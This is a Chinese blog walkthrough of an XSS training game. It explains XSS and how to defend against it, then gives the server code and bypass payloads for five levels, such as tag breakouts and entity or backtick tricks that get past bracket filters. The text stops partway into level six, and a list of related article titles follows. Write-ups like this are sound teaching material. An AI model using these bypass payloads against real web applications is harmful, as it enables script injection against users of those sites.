本文作者:kale 本文首发于“合天智汇”公众号,转载请联系公众号!

一、 题记

最近发现一个xss的攻防网站,界面很有意思,很适合寓教于乐。于是玩了一下午,特此记录下来!xss姿势众多,所以每关也只是给了一部分示例!

二、 知识前导

什么是XSS?

XSS 或者说跨站脚本是一种 Web 应用程序的漏洞,当来自用户的不可信数据被应用程序在没有验证以及反射回浏览器而没有进行编码或转义的情况下进行了处理,导致浏览器引擎执行了代码。

XSS防护逻辑

如果你可以使得一个Web应用程序满足以下规则,XSS可以被减少。

  1. 验证输入并且基于语境和按照正确的顺序转义不可信数据

输入验证

所有不可信数据应该针对Web应用程序的逻辑在处理和存储前进行验证

浏览器解析顺序

浏览器解码顺序

解码和解析顺序意味着很多东西。如果对不可信数据的编码或解码以错误的顺序或错误的环境,将再次有机会导致XSS漏洞的发生。编码或者转义对不同的环境要求不同。这些编码的顺序应该取决于应用程序的逻辑。

一个典型的不可信数据可以反射在HTML,HTML属性,脚本变量,脚本块,含状态传输的参数,URL、风格等中。不同的转义方法为了确保XSS的防护必须要在不同的环境 中实现。

三、 正文

0x00

server code:

   function render (input) {return '<div>' + input + '</div>'}

input code:

<script>alert(1)</script>

第一关,没啥说的,没有任何过滤,直接输出到了js里面。

0x01

server code:

    function render (input) {return '<textarea>' + input + '</textarea>'}

input code:

    </textarea><script>alert(1)</script><textarea>

这一关闭合textarea标签即可

0x02

server code:

    function render (input) {return '<input type="name" value="' + input + '">'}

input code:

    "><script>alert(1)</script><a "
   "><svg/onload=alert(1)></div>

此关闭合双引号及及input标签即可!

0x03

server code:

    function render (input) {const stripBracketsRe = /[()]/ginput = input.replace(stripBracketsRe, '')return input}

input code:

    <script>alert`1`</script>

这里过滤括号,可以使用反引号绕过,当然可以使用html实体编码绕过

<svg><script>alert&#40;1&#41;</script>

0x04

server code:

    function render (input) {const stripBracketsRe = /[()`]/ginput = input.replace(stripBracketsRe, '')return input}

input code:

<svg><script>alert&#40;1&#41;</script>

在上题基础上加了个``反引号过滤,html实体编码绕过

0x05

server code:

    function render (input) {input = input.replace(/-->/g, '												

Xss小游戏通关秘籍相关推荐

  1. Xss小游戏通关攻略带解释

    Xss小游戏通关攻略 实验环境:xss小游戏源码+phpstudy 源码地址:https://files.cnblogs.com/files/Eleven-Liu/xss%E7%BB%83%E4%B9 ...

  2. 2022-渗透测试-xss小游戏通关

    这是一个在线靶场-xss小游戏通关,一共6关.链接地址: XSS game (xss-game.appspot.com)https://xss-game.appspot.com/登陆成功后,页面如下. ...

  3. XSS小游戏通关题解

    写这篇文章的目的 以前在学习和利用XSS漏洞的时候,最多的感受就是知识体系不够全面,不能快速准确的构造出payload,最近在整理xss漏洞利用的一些方法,一来希望自己能够准确快速的针对漏洞点构造出p ...

  4. xss靶场练习(二)之xss小游戏

    前言 话说自从网络安全修正法推出,  不敢轻易动国内的网站,  平时就打打靶场,  本文记录练习之路. xss小游戏在线地址:  http://test.ctf8.com/ xss小游戏一共二十关. ...

  5. 【git小游戏通关大全】

    前言: 最近为了弄懂git的使用和知识点,老师让我们在git小游戏Learn Git Branching多加练习,研究了好久游戏关总是突破不了,查看了很多资料和视频最终总结整理出一套完整的游戏闯关答案 ...

  6. CSDN官方2048小游戏通关秘诀及复现

    目录 一.前言 二.通关小诀窍 1.游戏规则介绍 2.基于规则的一种相对全局最优方法 三.游戏复现 1.编程环境介绍 2.tkinter介绍 3.编程复现游戏效果 四.尾声及附录代码 1.尾声 2.附 ...

  7. git小游戏通关攻略(基础、高级、远程)

    Samuel066 亲测爆肝git游戏通关攻略,史上最快,希望能够帮助到你们. Learng git baranching: https://learngitbranching.js.org/?loc ...

  8. XSS小游戏的通关之路

    1.开始 <script>alert('a')</script><script>alert(1)</script><script>confi ...

  9. XSS闯关小游戏通关笔记

    level1 - 无过滤 分析源码,没有任何的过滤. 直接在链接中构造最基本的XSS弹窗即可,弹窗内容为1. <script>alert(1)</script> level2 ...

最新文章

  1. [数据结构] 时间复杂度计算
  2. redis源码epoll用法
  3. linux出站入站端口维护,linux下如何用iptables开放指定端口_网站服务器运行维护,linux,iptables,端口...
  4. 大数据可视化案例分析_Tableau数据可视化分析案例
  5. day028 Tcp和Udp协议
  6. 使用Maven前夕(Maven项目架构管理工具、配置环境变量、阿里云镜像、本地仓库)
  7. 计算机专业基础820考什么,820计算机专业基础考纲
  8. 微信公众号开发踩坑指南(1)——服务器验证与Token获取失败原因
  9. 回归平静是一种自我保护
  10. seo入门到精通_SEO入门到精通需要这10个步骤
  11. java qq协议 php_Java基于JavaMail实现向QQ邮箱发送邮件
  12. 服务器虚拟化的技术和原理,虚拟化一、虚拟化技术基础原理
  13. gnuplot用C语言程序画图,gnuplot使用
  14. 微信钱包里的钱居然不见了,微信支付绑卡的用户要注意这几点
  15. 【深度优先搜索算法】与【宽度优先搜索算法】
  16. OpenCV深入学习(5)--直方图之calcHist使用
  17. MSSQL 数据页查询使他 DBCC PAGE 详细说明
  18. Android 获取手机所有短信
  19. mysql创建视图需注意_mysql视图创建注意事项
  20. 学习 信息资源管理第一章

热门文章

  1. iphone,ipad模拟器截图
  2. Linux服务器查询SQL并导出EXCEL到服务器
  3. linux文件大小按照m查看,linux查看文件大小df-du
  4. 精益六西格玛绿带应用培训(5天)
  5. 【工具使用】前端好用的测试工具总结
  6. 阿波罗STM32F429开发板关于USART3的应用(WIFI/蓝牙/GPS)
  7. 智能呼叫中心有哪几种类型?
  8. Eclipse发生异常Unhandled event loop exception No more handles
  9. XLSX工作表日期转文本变为数字问题解决
  10. 网页端企业微信扫码登录及其cookie问题